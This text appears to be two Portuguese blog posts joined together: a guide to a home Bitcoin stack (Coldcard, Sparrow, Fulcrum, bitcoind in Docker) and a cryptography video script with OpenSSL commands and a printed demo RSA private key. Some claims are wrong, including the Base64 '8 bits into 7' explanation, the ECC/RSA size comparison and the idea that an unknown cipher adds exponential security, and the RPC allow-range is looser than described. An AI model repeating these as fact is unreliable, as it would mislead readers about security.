Não é exagero. Você não tem como saber, de verdade, o que aconteceu com aquele dispositivo antes de chegar na sua mão. Pode ter seed pré-gerada, firmware adulterado, componente trocado, embalagem refeita, supply chain comprometida, ou simplesmente algum truque bobo esperando você baixar a guarda. Hardware wallet é uma daquelas categorias em que economizar R$ 300 comprando usado é insanidade. Compre sempre do site oficial do fabricante ou de revendedor oficialmente autorizado pelo fabricante. E mesmo assim confira lacres, procedência e firmware.

Dá pra fazer parecido com um celular velho?

Dá. Mas eu trataria isso como alternativa de estudo ou de orçamento, não como substituto óbvio de uma Coldcard.

O caminho mais sério hoje pra isso é o AirGap Vault, que foi justamente desenhado pra usar um smartphone antigo como signer offline, via QR code, mantendo o aparelho fora da rede. A ideia é boa, e pra muita gente pode ser a porta de entrada correta.

Mas tem trade-off:

• smartphone velho não foi desenhado como hardware wallet dedicada
• histórico anterior do aparelho importa
• bateria envelhecida, tela ruim e Android abandonado são problemas reais
• o modelo de ameaça é menos claro do que num dispositivo dedicado

Então minha visão é simples: dá pra usar? Dá. Eu recomendaria como solução principal pra guardar patrimônio relevante? Não. Pra isso eu ainda prefiro hardware dedicado comprado da fonte correta.

Sparrow Wallet: a melhor peça de desktop desse quebra-cabeça

No Linux, eu uso Sparrow Wallet. Pra mim, hoje, ela é uma das melhores peças de software nesse ecossistema.

O que eu gosto nela:

• funciona muito bem em desktop Linux
• suporta hardware wallets direito
• entende PSBT sem drama
• deixa muito claro o que está acontecendo na transação
• é ótima como watch-only wallet

No meu fluxo, a Sparrow faz três coisas:

1. Guarda a carteira watch-only.
2. Monta a transação com os outputs e taxas.
3. Recebe de volta a assinatura da Coldcard e faz o broadcast.

Essa separação é elegante. O desktop vira coordenador. O signer continua frio.

Por que Coldcard + Sparrow funciona tão bem

Essa combinação é boa porque cada peça faz o que faz melhor:

• a Coldcard protege a chave
• a Sparrow organiza o uso humano da carteira
• o servidor cuida da infraestrutura

Muita wallet tenta fazer tudo. Eu prefiro esse desenho modular. É menos “mágico”, mais explícito, e mais fácil de raciocinar sobre ele sem autoengano.

Se eu estou no desktop, eu quero visibilidade. Se eu estou no signer, eu quero isolamento. Se eu estou no servidor, eu quero validação e índice local. Essa divisão é limpa.

O problema da Sparrow sem infra própria

Agora vem o detalhe importante. A Sparrow sozinha não resolve privacidade.

Se você instalar, abrir e simplesmente usar servidores públicos, alguém do outro lado passa a aprender bastante coisa sobre sua carteira: conjunto de endereços, xpubs ou derivadas, saldo, histórico, comportamento de consulta, broadcast. Não é custódia, mas ainda é exposição.

Esse é o buraco que o Fulcrum preenche.

Fulcrum: o servidor Electrum privado da casa

Fulcrum é um servidor Electrum. Em vez de deixar a Sparrow perguntando coisas pra servidor público de terceiros, ela pergunta pro meu próprio servidor.

Na prática, isso significa:

• consulta de saldo local
• histórico local
• descoberta de endereços local
• broadcast local

Ou seja: a wallet desktop para de “telefonar” pro mundo toda vez que você abre o programa.

No meu setup atual, a Sparrow aponta pra um Fulcrum rodando no home server da LAN, com porta 50001 na rede interna e 50002 com TLS.

E por que Fulcrum não basta sozinho

Porque Fulcrum não substitui um full node. Ele indexa em cima de um full node.

Quem realmente valida bloco, regra de consenso, script, transação e cadeia é o bitcoind. O Fulcrum fica na frente como camada de índice, porque Bitcoin Core puro não foi feito pra servir carteira desktop com esse tipo de consulta rápida.

Então a arquitetura correta é:

Coldcard (offline signer)
        ^
        | microSD / PSBT
        v
Sparrow Wallet (desktop watch-only + coordinator)
        |
        v
Fulcrum (Electrum server privado)
        |
        v
bitcoind (full node)

O que eu subi no home server de verdade

No meu home server, a stack mora numa pasta dedicada do Docker Compose e é composta por dois containers:

• bitcoin-bitcoind
• bitcoin-fulcrum

O compose é simples. E isso é bom. Infra sensível não ganha nada ficando esperta demais no YAML.

O desenho principal é este:

services:
  bitcoin:
    image: lncm/bitcoind:v28.0
    container_name: bitcoin-bitcoind
    user: "${BITCOIN_UID}:${BITCOIN_GID}"
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/data:/data/.bitcoin
    ports:
      - "8333:8333"
    stop_grace_period: 5m
    healthcheck:
      test: ["CMD", "bitcoin-cli", "-datadir=/data/.bitcoin", "ping"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 60s

  fulcrum:
    image: cculianu/fulcrum:latest
    container_name: bitcoin-fulcrum
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/fulcrum:/data
      - /srv/bitcoin/data:/bitcoin:ro
    command: ["Fulcrum", "/data/fulcrum.conf"]
    ports:
      - "50001:50001"
      - "50002:50002"
    depends_on:
      bitcoin:
        condition: service_healthy

No meu caso, a restrição do 50001 à LAN acontece na camada de rede do host. O YAML acima é o esqueleto do stack, não a política inteira de firewall.

As partes mais importantes disso:

• restart: always porque isso é serviço de longa duração
• volume explícito pra não perder estado
• user: "${BITCOIN_UID}:${BITCOIN_GID}" porque o diretório persistente precisa casar com o ownership real do storage, então eu prefiro fixar UID/GID de forma explícita em vez de confiar no default da imagem
• o RPC não é publicado no host; ele fica só na rede interna do Compose, que é tudo o que o Fulcrum precisa
• o healthcheck usa o próprio .cookie local do Bitcoin Core, então não precisa espalhar senha fixa em comando
• o Fulcrum monta o datadir do node em leitura apenas para autenticar via .cookie sem inventar credencial paralela
• no fulcrum.conf, isso vira uma configuração simples: falar com bitcoin:8332 e ler o .cookie montado, em vez de repetir credencial em texto puro
• security_opt: label:disable porque neste host com MicroOS, SELinux e bind mounts sensíveis eu preferi a rota pragmática de desarmar esse atrito específico em vez de perder tempo brigando com label em volume que já está sendo tratado de forma controlada
• depends_on com service_healthy pra o Fulcrum só subir depois que o RPC do bitcoind responder
• stop_grace_period: 5m porque bitcoind precisa tempo real pra flushar estado em shutdown gracioso

A versão final

Hoje, o desenho que eu quero manter é esse: bitcoind com txindex, dbcache=1024, volume persistente, parada graciosa de 5 minutos, autenticação por .cookie, e Fulcrum na frente servindo Sparrow pela LAN ou via TLS.

A stack atual está assim:

Não me interessa transformar isso em espetáculo. O ponto é mais simples: a infra final precisa ser chata, previsível e estável.

Os tunings que importam de verdade

Não tem mágica aqui. Tem alguns parâmetros que fazem diferença real e um monte de coisa que só serve pra enfeitar compose.

O stop_grace_period: 5m existe porque bitcoind não é container descartável de stateless API. Ele mantém chainstate, índices e cache em memória. Se você não dá tempo pro processo encerrar direito, você cria trabalho desnecessário no próximo start.

O user: "${BITCOIN_UID}:${BITCOIN_GID}" está ali por um motivo bem menos glamouroso e muito mais importante: storage persistente com permissão errada é um jeito excelente de quebrar serviço bom. Então eu prefiro alinhar o container ao ownership real do volume em vez de deixar isso implícito.

O dbcache=1024 é o ponto que eu acho mais sensato pra node doméstico sempre ligado. Grande o suficiente pra não ficar sofrendo em I/O o tempo todo, pequeno o suficiente pra não transformar cada restart num parto.

O txindex=1 eu mantenho porque quero o node completo, não uma instalação minimalista só pra dizer que “roda Bitcoin”. Se a ideia aqui é autonomia operacional, eu prefiro ter o índice completo.

O rpcworkqueue=512 e rpcthreads=16 são o tipo de ajuste que faz sentido quando você sabe que vai colocar Fulcrum perguntando pro node o dia inteiro e quer alguma folga.

No lado do Fulcrum, os parâmetros principais são:

• db_mem = 8192
• db_max_open_files = -1
• bitcoind_clients = 8
• worker_threads = 0
• peering = false

De novo: nada de esoterismo. Só cache suficiente, paralelismo razoável e nada de anunciar esse servidor como serviço público.

No meu bitcoin.conf atual, o núcleo importante ficou assim:

server=1
txindex=1
prune=0
rpcbind=0.0.0.0
rpcallowip=172.0.0.0/8
rpcthreads=16
rpcworkqueue=512
dbcache=1024
maxmempool=512

Tudo isso faz sentido num servidor com RAM decente e NVMe rápido. Mas o detalhe que mais importa continua sendo o shutdown limpo. Infra de wallet não tem espaço pra mentalidade de “depois a gente vê”.

O tamanho real disso tudo

Esse é outro ponto que muita gente subestima.

Se você olhar documentação mais antiga do Bitcoin Core, vai encontrar números como 350 GB de disco para um node com configuração padrão. Isso já ficou pra trás. Dados mais atuais do tamanho da blockchain apontam algo em torno de 725.82 GB em 11 de março de 2026, e isso é só a cadeia bruta, sem contar os índices extras que muita gente técnica vai querer manter.

E aqui entra a pegadinha: o stack que eu estou descrevendo não é “Bitcoin Core pelado só pra dizer que roda um node”. É bitcoind com txindex, mais Fulcrum, mais margem pra rebuild, logs, snapshots e crescimento normal da rede.

Por isso, pra montar algo parecido hoje, eu pensaria assim:

• abaixo de 1 TB: eu nem começaria
• 1 TB: mínimo pragmático
• 2 TB: faixa confortável
• acima disso: se você quer folga de longo prazo, snapshots e menos ansiedade operacional

E aqui vai a observação mais importante de todas em self-hosting: não assuma que persistência, montagem e backup estão certos só porque o YAML está bonito. Verifique de verdade.

Outra coisa que eu não esqueceria num host com btrfs: colocar o banco do Fulcrum (fulc2_db) em subvolume separado. O motivo é bem mundano. Esse diretório cresce, muda o tempo inteiro e não tem nada a ver com snapshot automático genérico de /var. Se você mistura tudo, acaba arrastando índice grande e reconstruível junto com snapshot de sistema, queimando espaço e deixando a manutenção mais irritante do que precisava. Índice do Fulcrum não é configuração delicada. É dado pesado, volátil e reconstruível. Eu trato exatamente assim.

Hardening: o que já deixei aplicado

Aqui é onde aparece a diferença entre “rodou no meu notebook” e “eu confiaria nisso pra operar minha carteira”.

No estado atual da stack, os pontos que eu considero importantes ficaram assim:

• o RPC do Bitcoin Core não depende mais de exposição desnecessária no host; o Fulcrum fala com o bitcoind pela rede interna do Docker, que é o que interessa de verdade
• 50001 fica restrita ao uso interno da LAN
• 50002 fica disponível com TLS, que é a forma certa quando você precisa sair do plaintext
• o shutdown é gracioso, com stop_grace_period: 5m, pra o bitcoind ter tempo de flushar estado em vez de morrer de qualquer jeito
• a montagem do storage não fica na base do “depois eu vejo”; existe checagem de mount antes do Docker subir, justamente pra evitar drift silencioso

Cada um desses itens existe por um motivo bem concreto.

Tirar o RPC da superfície do host reduz ataque sem custo nenhum. O Fulcrum já está no mesmo Compose e já consegue falar com o serviço pelo nome interno. Não existe ganho real em deixar essa porta aparecendo onde ela não precisa aparecer.

Separar 50001 e 50002 também ajuda a manter a casa em ordem. Dentro de LAN controlada, plaintext é aceitável. Fora disso, o mínimo razoável é TLS. Misturar os dois cenários costuma virar bagunça.

O stop_grace_period: 5m parece detalhe de container, mas não é. Quem já teve banco de dados, índice ou node de blockchain encerrado no tapa sabe o quanto isso vira horas de trabalho depois. Serviço stateful precisa de parada decente.

E a checagem de mount é uma daquelas coisas chatas que salvam você de si mesmo. O YAML pode estar lindo. Se o storage não montou e o serviço subiu gravando onde não devia, você acabou de fabricar um problema bem irritante.

Tem também um ponto que eu gosto bastante nesta versão final do stack: o Fulcrum autentica no bitcoind via arquivo .cookie, não via senha fixa em texto puro. Isso é interessante por dois motivos:

• você não precisa deixar credencial estática aparecendo em compose, inspect, healthcheck ou documentação
• a autenticação fica mais alinhada com o próprio jeito que o Bitcoin Core já sabe operar localmente

Em termos práticos, isso reduz vazamento acidental de segredo operacional. Não é uma solução mágica pra tudo, mas é muito melhor do que espalhar rpcuser e rpcpassword em arquivo, log e comando.

O único tipo de hardening que eu tento evitar aqui é o hardening performático demais no YAML e frouxo demais na operação. Eu prefiro menos “engenharia de palco” e mais disciplina básica:

• rede mínima
• segredo mínimo
• privilégio mínimo
• shutdown limpo
• storage verificado
• subvolume separado pra dado grande e reconstruível, como o índice do Fulcrum

E, de novo, documente tudo. Infra boa não é a que só funciona hoje. É a que continua funcionando quando você volta nela seis meses depois.

Por que isso melhora transações do seu lado

Quando eu monto uma transação na Sparrow e assino na Coldcard, a cadeia de confiança fica muito melhor definida:

• a chave privada não toca internet
• a wallet desktop não precisa confiar em servidor público
• o broadcast pode sair do meu próprio node
• o histórico de endereços não precisa ir parar em Electrum server de terceiro

Isso não torna nada invulnerável. Ainda existe risco de malware no desktop, seed mal armazenada, erro humano, engenharia social e desastre físico. Mas o desenho fica bem mais coerente.

E o Lightning? Especialmente no Brasil?

Aí eu separo as coisas.

Reserva e transação de valor maior eu trato de um jeito. Gasto cotidiano eu trato de outro.

Pra gasto cotidiano, especialmente no Brasil, eu acho burrice operacional carregar muito saldo em wallet quente. Wallet de Lightning e app de gasto têm que ser quase “carteira de bolso”: só o suficiente pro dia a dia.

Isso vale em dobro se você usar solução híbrida ou custodial, como RedotPay. Eu entendo por que ela é interessante pra brasileiro: empresa de Hong Kong, foco internacional, bridge razoavelmente prática entre cripto e gasto com cartão. Pra viagens, compra online e vida fora do eixo bancário brasileiro, faz sentido. Mas eu jamais trataria isso como lugar de guardar patrimônio. Isso é ferramenta de spending, não cofre.

Mesma lógica pro Bitrefill Brasil. Eu acho o serviço interessante justamente porque ele resolve uma dor real no Brasil: transformar sats em utilidade concreta sem vender toda posição nem depender de integração bancária o tempo todo. Gift card, recarga, pequenas despesas. Como ferramenta de uso, faz bastante sentido.

Pra wallet Lightning no celular, eu olharia primeiro para:

• Phoenix pra quem quer algo muito bom e simples
• Breez pra quem quer experiência boa de pagamentos
• ZEUS se você é mais técnico e eventualmente pretende operar seu próprio node Lightning

Todas elas, na minha cabeça, entram na categoria “carteira de bolso”. Saldo pequeno. Uso diário. Nada de transformar app de celular em cofre de aposentadoria.

Notícias recentes que reforçam esse raciocínio

Eu não monto esse tipo de stack porque acho bonito. Eu monto porque terceirização demais dá ruim com frequência demais.

Dois exemplos recentes:

• o hack da Bybit em 2025 mostrou, de novo, o risco básico de deixar custódia relevante em exchange
• o vazamento de dados de clientes da Coinbase em 2025 mostrou o outro lado do problema: mesmo quando a custódia não é o foco imediato, sua identidade, saldo e histórico viram superfície de ataque

Uma stack como Coldcard + Sparrow + Fulcrum + full node não elimina todo risco do mundo. Mas evita duas classes de problema bem reais:

• perder soberania de custódia
• entregar privacidade de carteira e transação de bandeja pra terceiros

Então vale a pena?

Pra maioria das pessoas, honestamente, provavelmente não no primeiro mês. É trabalhoso, tem curva de aprendizado, e exige disciplina.

Mas pra programador, engenheiro e qualquer pessoa técnica que quer aprender a não depender sempre de serviço alheio, eu acho um exercício excelente.

Você aprende sobre:

• separação de responsabilidades
• persistência e estado
• shutdown gracioso
• observabilidade
• isolamento de segredo
• trade-off entre conveniência e segurança

E tudo isso vale além de Bitcoin.

No fim das contas, é isso que mais me interessa nesse stack. Não é sair pregando “hyperbitcoinization” nem posar de profeta de preço. É montar um sistema em casa em que eu consigo confiar mais porque fui eu que instalei, medi, quebrei, consertei e documentei.

Dá trabalho? Dá.

Mas esse tipo de trabalho ensina exatamente o que software moderno tenta fazer você esquecer: depender menos dos outros dá mais trabalho no começo, mas costuma comprar muito mais controle no longo prazo.

Como que se geram chaves secretas pra encriptação? Pra que servem pares de chaves? Como certificados funcionam? Qual a diferença de impressão digital e assinatura digital? Como tudo isso funciona junto e chega em coisas como BitTorrent, Git ou Bitcoin?

Já tinha feito 2 videos falando do básico de criptografia, hoje é dia de ver como essas coisas funcionam na prática e são usados em aplicações de verdade.

Capítulos

• 00:00:00 - Intro
• 00:01:28 - CAP 1 - Criptografia Simétrica - OpenSSL
• 00:10:11 - CAP 2 - Criptografia Assimétrica - Chaves RSA
• 00:17:06 - CAP 3 - Certificados Digitais - Let’s Encrypt
• 00:29:18 - CAP 4 - Impressões e Assinaturas Digitais - Hashing
• 00:38:54 - CAP 5 - Picotando Arquivos - Introdução a BitTorrent
• 00:46:03 - CAP 6 - Entendendo Links Magnéticos - BitTorrent
• 00:53:52 - CAP 7 - Árvores de Merkle - Escalando BitTorrent
• 01:01:13 - CAP 8 - Git e Merkle - Reescrevendo a História
• 01:06:10 - CAP 9 - Juntando as Peças - BitTorrent e NoSQL
• 01:09:56 - CAP 10 - As Últimas Peças - De ZFS a Bitcoin
• 01:13:03 - Bloopers

Links

• Intel® Advanced Encryption Standard Instructions (AES-NI)
• VeraCrypt - Free Open source disk encryption with strong security for the Paranoid
• Rng-tools - ArchWiki (archlinux.org)
• Trusted Platform Module - Gentoo wiki
• How to choose an AES encryption mode (CBC ECB CTR OCB CFB)? - Stack Overflow
• encryption - ECDSA vs ECIES vs ECDH - Cryptography Stack Exchange
• VU#836068 - MD5 vulnerable to collision attacks (cert.org)
• Google Online Security Blog: Announcing the first SHA1 collision (googleblog.com)
• The GNU Privacy Guard (gnupg.org)
• How-to verify GPG key of official .ISO images - Manjaro

SCRIPT

Olá pessoal, Fabio Akita

Criptografia é um assunto super extenso, hoje quero mostrar um pouco mais na prática alguns componentes comuns que vocês vão esbarrar mais cedo ou mais tarde. Já tinha feito 2 videos sobre a teoria, depois assistam.

Eu não sou especialista em segurança, sou um desenvolvedor que se interessou pelo assunto, só. Por isso não considerem que tudo que vou falar é o único jeito ou é completo. É apenas o que eu considero o mínimo, de desenvolvedor pra desenvolvedor. Quem for especialista na área, por favor, complementem nos comentários abaixo.

Quem evitou o assunto até agora, hoje é o dia de cair de cabeça. Quero mostrar como encriptação de dados funciona, como certificados digitais funcionam, e como tudo isso é aplicado no mundo real, passo a passo. Na segunda metade vou explicar como um BitTorrent funciona e quais tecnologias tornam ela similar a um Git. Vamos lá.

(….)

Este é um video pra quem já saiu da faculdade mas ainda não brincou o suficiente com criptografia, infelizmente você vai precisar ter um mínimo de base pra prosseguir e desta vez não vou segurar muito na mão. Prestem bastante atenção, façam anotações se precisar. Se não entenderem este começo, não vão conseguir seguir o raciocínio depois. Pausem, voltem e revejam, até entender. A primeira metade, vale até abrir o terminal e tentar os comandos vocês mesmos pra sentirem na mão como funcionam. Videos densos como de hoje não é pra assistir só uma vez.

Toda CPU moderna tem instruções em hardware pra encriptar dados. Se você tem Mac e habilitou File Vault, se tem Windows e habilitou BitLocker, ou se usa Linux com LUKS, todos usam o algoritmo de encriptação AES, provavelmente a variante de 256 bits. Em CPUs novas é muito raro sentir que o sistema ficou mais lento por causa disso, por isso recomendo manter ativado, especialmente em notebooks. Caso sejam roubados, a chance de alguém acessar seus dados é perto de zero. Se quiser aumentar performance, o certo não é desligar encriptação e sim comprar um SSD melhor.

Há quem ainda ache que só porque precisa fazer login na sua conta quando liga a máquina, está seguro. Mas não. Se remover o HD ou SSD do seu notebook e ligar numa outra máquina, vou ter acesso a todos os arquivos se não estiverem encriptados. Seu login e senha não fazem nenhuma diferença. Login em sistema operacional só evita que um usuário tenha acesso aos arquivos de outro usuários enquanto a máquina está ligada e ninguém tem acesso físico ao hardware. Se tiver acesso físico, não faz diferença. Isso vale pra qualquer sistema operacional.

No episódio de Sua Segurança é uma Droga eu demonstrei o uso do Veracrypt. Diferente de BitLocker do Windows, por exemplo, que só dá suporte a AES porque é o mais performático, o Veracrypt permite escolher outros algoritmos. Pra coisas muito grandes vai ser mais lento, mas por outro é o mais seguro. Um HD com BitLocker, pode ser difícil de quebrar, mas sabendo que é AES podemos focar só nisso. Mas uma imagem encriptada com Veracrypt, não sabemos nem o algoritmo usado, e isso aumenta a segurança exponencialmente. Por isso que pra coisas absolutamente críticas, é melhor usar Veracrypt. Pro dia a dia AES de BitLocker ou FileVault é mais que suficiente.

Vou repetir: se você tem dados importantes, num notebook que carrega embaixo do braço, pra trabalhar de um starbucks da vida, espero que não seja burro de andar por aí sem encriptação. Mas como que funciona esse tipo de encriptação? Vamos dar alguns exemplos.

Um dos pacotes de segurança e criptografia mais conhecidos e utilizados do mundo é o famoso OpenSSL. É um pacote gigante, com praticamente tudo que se precisa pra lidar com criptografia. Existem outras alternativas como LibreSSL, BoringSSL do Google, NSS da Mozilla e outros, mas vou focar no OpenSSL porque ainda é um dos mais usados. De um terminal num Linux, é assim podemos gerar uma chave aleatória. Vamos chamar de “key.bin”

openssl rand -out key.bin 32
hexdump key.bin

Geramos uma chave binária de 32 bytes ou 256 bits. Essa chave é segura o suficiente pra maioria dos usos hoje. Pra ser mais seguro deveríamos adicionar entropia externa, por exemplo, com um hardware externo ou o chip de TPM que vem em máquinas modernas usando algo como TPM2-TSS. Entropia inicial é extremamente importante pra definir a força de uma chave. Mas só pra usar de exemplo, isso vai servir.

Por ser importante, vale mais uma tangente. Tudo em criptografia depende de um PRNG ou Pseudo Random Number Generator. Não existe número verdadeiramente aleatório, existem funções que, dado um número inicial, consegue ir “cuspindo” números que parecem aleatórios. Se colocarmos numa distribuição estatística, seria uniforme, onde todos os números tem mais ou menos as mesmas chances de aparecer, sem nenhum viés.

Mais do que isso, os números gerados não devem parecer diferentes de aleatoriedade verdadeira, devem ser resistentes a backtracking. Não deveria ser possível reconstruir números anteriores só vendo uma sequência de números gerados, ou seja, devem ser resistentes à previsão, não podendo ser fácil prever os próximos. Devem ser difíceis ou impossíveis de serem reproduzidos.

Bons números aleatórios são fornecidos pelo sistema operacional. No caso de Linux, existe um dispositivo em “/dev/random” que é de onde pacotes como OpenSSL se conectam. Podemos aumentar a entropia dele usando um serviço como “rngd”. Num Arch é só instalar com “pacman -S rngd”, habilitar e iniciar com “systemctl enable” e “systemctl start”. Esse serviço vai tentar puxar entropia de dispositivos de hardware ou do chip TPM do seu PC, se ele for moderno.

Chip TPM, de Trusted Platform Module, é o que gerou controvérsia quando o Windows 11 inicialmente ia obrigar todo mundo a ter. No fim voltaram atrás porque muita gente não ia ter e reclamaram muito. Mas o certo é realmente ter esse chip. Toda placa mãe tem um slot pra esse chip, mas em modelos baratos ele vem vazio, pra você comprar separadamente. Dentre as várias funções de segurança que ele fornece, está entropia via hardware. Esse serviço “rngd” vai alimentar o “/dev/random” que, por sua vez, é usado pelo OpenSSL.

Várias classes de malware e vírus são bloqueados ao ter um chip TPM devidamente configurado, em particular rootkits, além de melhorar a encriptação com BitLocker. Cheque se sua máquina tem, ou se tem suporte de instalar. Se tiver, compre e instale. Todo Mac e iPhone tem um chip similar instalado de fábrica, o chip T2, que é uma das razões de um Mac ser mais seguro que um PC mais barato. Nada disso torna você 100% seguro, mas certamente melhora sua defesa.

Voltando ao exemplo, agora vou criar um arquivo idiota chamado “test.txt” com a boa e velha frase “Hello World”. E vamos encriptar usando nossa chave. Esta linha de comando de OpenSSL vai usar AES 256 em modo CBC, com salt, passando o test.txt e devolvendo test.txt.enc, usando a chave key.bin que acabamos de gerar. Pronto. Se dermos um “cat” no novo arquivo, vai devolver um lixo binário. Podemos ver com hexdump e não tem nada a ver mais com o arquivo original. Esse é o resultado esperado.

openssl enc -aes-256-cbc -salt -in test.txt -out test.txt.enc -pass file:./key.bin

cat test.txt.enc
Salted__����z�F�ğQw8��#�- ���4

hexdump test.txt.enc
0000000 6153 746c 6465 5f5f 1ae2 88f0 d67a cc46
0000010 9fc4 7751 fc38 23b4 2da6 f020 aaf5 0a34
0000020

hexdump test.txt
0000000 6548 6c6c 206f 6f57 6c72 0a64          
000000c

Mais um adendo aqui. Só pra simplificar o exemplo, escolhi AES 256 em modo CBC ou Cipher Block Chaining. Ele é melhor que o anterior ECB mas é sensitivo a erros de ciphertext e é vulnerável a ataques de padding oracles se não for implementado corretamente. Além de CBC existe Cipher Feedback ou CFB, Output Feedback ou OFB, Counter ou CTR e Galois/Counter Mode ou GCM. Se precisar escolher, use GCM.

Estou usando CBC com um salt, que já é melhor que só CBC sozinho, mas se for usar GCM ele vai gerar um tag de autenticação e anexar no arquivo encriptado. Mas o certo é se preocupar com o tráfego desse tag, porque ele precisa ser transportado de forma segura e não num anexo de email, aberto, por exemplo. Além disso tem que se preocupar com Initialization Vectors, IVs. Por isso a maioria dos tutoriais por aí, assim como meu exemplo, usam CBC: porque é mais simples de explicar.

Entenda isso: pareceu que falei uma sopa de letrinhas a toa só pra dificultar, mas foi pra demonstrar que a maioria dos tutoriais vai escolher a opção mais simples de explicar, que costuma ser a mais insegura. Por isso eu falo que se você não estudou criptografia a fundo, não deveria tomar decisões de criptografia: vai usar errado e vai tornar a encriptação do seu sistema mais inseguro.

Era uma das minhas críticas quando JWT, o JSON Web Authentication, por exemplo, foi lançado lá atrás: ele exigia que o desenvolvedor soubesse tomar essas decisões de algoritmos e modos, mas quase ninguém sabe e nem vai aprender certo. Ele não deveria permitir as combinações obviamente mais inseguras. Só que ao fazer isso, tornaria a usabilidade mais difícil. É sempre um trade-off: quanto mais usável tentar fazer alguma coisa, mais inseguro vai ser. Segurança é complicado mesmo.

Agora eu poderia enviar o arquivo encriptado pra outra pessoa pela internet e, se ela tiver a minha chave, conseguiria decriptar com uma linha de comando parecida com esta. OpenSSL modo AES 256 CBC recebendo o test.txt.enc encriptado e descriptografando em test.txt.dec passando a chave key.bin. Com um comando “cat” vemos que foi com sucesso.

openssl enc -aes-256-cbc -d -in test.txt.enc -out test.txt.dec -pass file:./key.bin

cat test.txt.dec
Hello World

Bacana, de forma simplificada, é assim que um BitLocker ou FileVault ou Veracrypt da vida estaria lidando seus dados. Eu digo simplificando porque aqui dei exemplo lidando com arquivos inteiros, mas sistemas de arquivos lidam com stream de blocos. Enfim, no HD físico só teria o equivalente àquele arquivo “test.txt.enc”, a versão encriptada. E precisa ter essa chave em algum lugar pra conseguir ler o conteúdo original de volta. Isso normalmente seria pesado de computar, mas a encriptação e decriptação não é feita via software e sim via instruções direto da CPU, em hardware, por isso o processo é mais acelerado e quase não sentimos, na prática.

Mas no exemplo anterior temos um problema gigantesco. Se o objetivo de encriptar algum arquivo for pra poder enviar de forma segura pra outra pessoa, como fazemos pra enviar a chave de forma segura também? A única forma seria essa pessoa vir até minha casa, trazendo um pendrive, e eu gravar a chave direto no pendrive, sem nunca trafegar pela internet. Mas isso não é prático. Como consigo passar uma chave pra outra pessoa de forma que ninguém na internet consiga interceptar ou adulterar?

Aqui entra o conceito de chaves assimétricas. Novamente, explico sobre isso em detalhes no 2o video de criptografia. Mas deixa eu dar um exemplo prático. De volta ao terminal, vamos usar OpenSSL pra gerar um par de chaves. Literalmente são dois arquivos, um chamado private.pem e outro chamado public.pem.

openssl genpkey -algorithm RSA -out private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -pubout -in private.pem -out public.pem

Enfim, escolhi a opção de algoritmo RSA de 2048 bits. E eu sei que já deve ter gente indo nos comentários reclamar “porra Akita, você devia ter usado curva elíptica em vez de RSA”. Eu expliquei o que são esses algoritmos e as diferenças no meu video antigo, mas resumindo, sim, Elliptic Curve Cryptograph ou ECC é mais forte que RSA. Uma chave ECC de 256 bits é mais forte que uma chave RSA de 3072 bits, mais de 10 vezes o tamanho.

O problema é que OpenSSL não oferece comandos simples pra encriptar dados arbitrários com chaves ECC porque ECC é normalmente usado pra coisas como tráfego de chaves ou ECDH, assinatura digital que é ECDSA ou com mecanismos de encapsulamento de chave em ECIES. Ou seja, não é simples pra sair encriptando qualquer dado arbitrário. Eu poderia usar ECDH mas a ideia desse video não é entrar nas minúcias de ECC e sim dar uma noção geral de criptografia e, pra esse fim, RSA vai ser mais que suficiente. RSA é mais simples pra usar e ensinar, mas se estiverem fazendo algo sério, estudem tudo que acabei de falar sobre ECC.

E o que são esses arquivos RSA que foram gerados? Podemos usar o comando “cat” e vai listar o conteúdo. É a versão em Base64 da chave binária. Base64 é como encodamos um binário em caracteres ASCII que dá pra mostrar na tela. Convertemos 8 bits em 7 bits, por isso ele fica um pouco maior. O private.pem é mais longo e o public.pem é mais curto. Olhem só.

❯ cat private.pem —–BEGIN PRIVATE KEY—– MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5cMQZZd85emyr oL9cvrR522tmBBlcwpF7QyobGwAmk8smL2HoMf207LJl3wi7JE736qqWdme/Rwr8 Zsz8ZOAeiud4SIk/NbfezMoLVkUxQGOg0GprpYciUVUp9e/3HKl5PS9Yr9lU6QN8 Bs7gY96DohUrGz/hQR7G550O+/ITV+qm3VZytPiH8tQAXrueqC8lf/Ly97UnlfLr bauftw6QIw1ldI8NjxPIcwbNot+BfXcN6kiJifttdLi7/kEaAboecjYxcoipntjb RdAntX/Y6xluwKtKRqrTs1XxHAPtEEQrVvfc6CjM2kLiFe//r3oZCLhHAAyZhJ6X +J3zt0gXAgMBAAECggEAArvbsDzVEc2xEhtVvDd1hVcLmh6VBHiRLijbKI4j2O2/ MMoXCUDKFY49wmG2M71rypzeNJynQpB4uX2HJ8YRmxxUyuxVgFCO7DfHAhbHVga1 0Uub811RL4YqbsAY8GLZnsIc/hONl9ey555ZaMEgKSmiYpciwHPg0RwzWmKy0BUq bFRLIHhfJfxzIpHxw3LExW///jyVw56sK9IE260pYqf8MxX/mhxPllj5VLNbctzj YO1W+EjeUlolI19xSMJSlqW2bGeoXIalddDR0552QrmZAXEpRgI9V+NoQdSKnrXr gHJS2uav2ORqoxDp3+7np0dnt06dtD/rzevrDtoDzQKBgQD0IiKU9L0QbZDWz8SH b+SF5IymsMKRykyAXkghEjyzMXbbgnOHo7Eesc4iU07k1kzOKgtCcwt0glnEwKei qlzpDOZoW+UdloWVUXSuLFcW1Oy67B8w/YLp6PFBce7YMjij1hOvJSQS5unEfmt2 8PZ01JUA9m49DGfXTUrnzX6mRQKBgQDCdEnZLkIyo9RKBjsrd57+Yp4KtJuAqn8o fuBh33qxnrImkA/RMwrcUQIoLJly3DUk8UhJRIIqCLOp4BHc9WDkxa+7bqLl7OXG qWfyvwNLVY1M98oMbU7ESJPZb2BHLNrWgnD/tGYLrRQq+WbVkh2B7b+31SP63UZz sWG3W8TYqwKBgQDAZSZbvYRCLha3M4XuNoAiBLvTofm0a3lesO6nIXg0wAard2MU wiwTxIxvALhsH3boArpc481jRFb6d9mkmB4gi8oI9GLbroQX6NnLaaY4mBT4Op1a Pm+tZ6a5rNBOEUYR1+QrY1nKi7Au6nJGih+wctf6qjq2YdB0HLWreIcXAQKBgAFj ezOF1QsviFCPAtUooYYHhkFlUMb2cLoFTezk/6dNDtCfrr07tBQmr/FBgEcFs4tz /aQoTRWnwkCwTPBbADoh/0NDYv5pVqq4gvmEy606CyxFiLfV//3+1q9y0Ckx9M4b 